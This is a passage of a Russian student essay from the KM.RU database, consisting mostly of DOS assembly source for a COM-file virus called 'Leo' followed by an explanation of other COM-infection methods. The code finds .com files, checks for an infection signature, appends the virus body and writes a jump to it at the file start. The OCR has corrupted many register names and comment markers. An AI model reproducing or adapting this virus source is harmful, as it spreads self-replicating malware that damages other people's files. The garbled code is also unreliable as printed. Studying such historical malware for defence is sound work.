mov dx,offset bytes_3-offset myself

add dx.bp

mov cx,3

int 21 h

.Получаем длину файла, для чего переходим в конец файла
Testik:

mov ax,4202h

xor ex,ex

xor dx.dx

int 21h
Size_test:

;Сохраняем полученную длину файла

mov [bp+(offset flen-offset MySelf)],ax

[Проверяем длину файла
cmp ax.64000

;Если файл не больше 64000 байт,- переходим

;к следующей проверке,

;иначе ищем другой файл (этот слишком велик для заражения)

jna richJest

jmp find_next

Проверим, не заражен ли файл.
;Для этого проверим сигнатуру вируса
RichJest:

[Переходим в конец файла (на последний байт)
mov ax,4200h
xor сх.сх

mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h

;Читаем сигнатуру вируса
Read:

mov ah,3Fh

xor ex,ex

inc ex

mov dx,offset bytik-offset myself


add dx.bp
int 21 h

;Если при чтении файла ошибок

;не произошло - проверяем сигнатуру,

.иначе ищем следующий файл

jnc test_bytik

jmp tind_next

;Проверяем сигнатуру
Test_bytik:

cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte

;Если сигнатура есть, то ищем другой файл,
.если нет - будем заражать

jne NotJnfected

jmp find_next

.Файл не заражен - будем заражать
NotJnfected:

mov ax,[bp+(offset flen-offset myself)]

sub ax,03h

mov [bp+(offset jmp_cmd-offset myself)],ax
l_am_copy:

.Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21 h

[Устанавливаем регистр DS на сегмент кода
push cs
pop ds

.Копируем вирус в файл
mov ah,40h

mov ex,offset VirEnd-offset la
mov dx.bp

sub dx,offset myself-offset la
int 21 h


Записываем в начало файла переход на тело вируса
Write_Jmp:

.Переходим в начало файла
хог сх.сх
xor dx,dx
mov ax,4200h
int 21 h

[Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3

mov dx.offset jmpvir-offset myself
add dx.bp
int 21h

;3акрываем файл
Close:

mov ah,3Eh

int 21h

;Восстанавливаем оригинальные атрибуты файла

mov ax,4301h

mov dx,9Eh

pop ex

int 21h
exit:

восстанавливаем первоначальные значения регистров и флагов
pop es ds
рора
popf

Передаем управление программе-носителю
push 100h
retn

-.Байт для чтения сигнатуры
bytik db (?)


.Зарезервировано для изменения трех байт вируса
jmpvir db OE9h
jmp_cmd dw (?)

;Длина файла
flen dw (?)

;Шаблон для поиска файлов
fname db "*.com",0

;0бласть для хранения команды перехода
bytes_3 db 90h, 90h, 90h

;Байт памяти для чтения первого байта файла
;с целью проверки (Е9п)
buf db (?)

;Название вируса
virus_name db "Leo"

;Сигнатура

a db CheckByte

VirEnd:

code ends

end start

Способы внедрения СОМ-вирусов

Рассмотренный вирус дописывался в конец файла, а в начало файла
вписывал переход на себя. Существуют и другие способы внедрения
вирусов.

Рассмотрим два варианта внедрения СОМ-вируса в начало файла.
Вариант первый. Вирус переписывает начало программы в конец файла,
чтобы освободить место для себя. После этого тело вируса записывает-
ся в начало файла, а небольшая его часть, обеспечивающая перенос вы-
тесненного фрагмента программы, на прежнее место - в конец. При вос-
становлении первоначального вида программы тело вируса будет
затерто, поэтому код вируса, восстанавливающий программу, должен
находиться в безопасном месте, отдельно от основного тела вируса.
Этот способ внедрения изображен на рис. 1.3.



Рис. 1.3.

При загрузке зараженного таким способом файла управление получит
вирус (так как он находится в начале файла и будет загружен с адреса
OlOOh). После окончания работы вирус передает управление коду, пере-
носящему вытесненную часть программы на прежнее место. После вос-
становления (в памяти, не в файле) первоначального вида программы,
она запускается. Схема работы вируса изображена на рис. 1.4.

Второй вариант отличается от первого тем, что вирус, освобождая для
себя место, сдвигает все тело программы, а не переносит ее часть в ко-
нец файла. Этот способ внедрения изображен на рис. 1.5.

После запуска зараженной программы, как и в предыдущем случае,
управление получает вирус. Дальнейшая работа вируса отличается
только тем, что часть вируса, восстанавливающая первоначальный вид



программы, переносит к адресу OlOOh все тело программы, а не только
вытесненную часть. Схема работы вируса, заражающего файл таким
образом, приведена на рис. 1.6.

Существуют разновидности вирусов, не дописывающие часть своего
тела в конец файла. К примеру, вирус может внедряться в середину
файла. В этом случае алгоритм работы вируса является смесью алгорит-
мов одного из двух только что описанных вирусов и вируса, описанно-
го в разделе "Простейший СОМ-вирус".

Дата добавления: 04.03.2002

База рефератов на портале KM.RU существует с 1999 года. Она пополнялась не только готовыми рефератами, докладами, курсовыми, но и авторскими публикациями, чтобы учащиеся могли использовать их и цитировать при самостоятельном написании работ.


Это популяризирует авторские исследования и научные изыскания, что и является целью работы истинного ученого или публициста. Таким образом, наша база - электронная библиотека, созданная в помощь студентам и школьникам.


Уважаемые авторы! Если Вы все же возражаете против размещения Вашей публикации или хотите внести коррективы, напишите нам на почту info@corp.km.ru, мы незамедлительно выполним Вашу просьбу или требование.


]]>
]]>
Сетевое издание KM.RU. Свидетельство о регистрации Эл № ФС 77 – 41842.
Мнения авторов опубликованных материалов могут не совпадать с позицией редакции.

Мультипортал KM.RU: актуальные новости, авторские материалы, блоги и комментарии, фото- и видеорепортажи, почта, энциклопедии, погода, доллар, евро, рефераты, телепрограмма, развлечения.

Карта сайта


Подписывайтесь на наш Telegram-канал и будьте в курсе последних событий.


Организации, запрещенные на территории Российской Федерации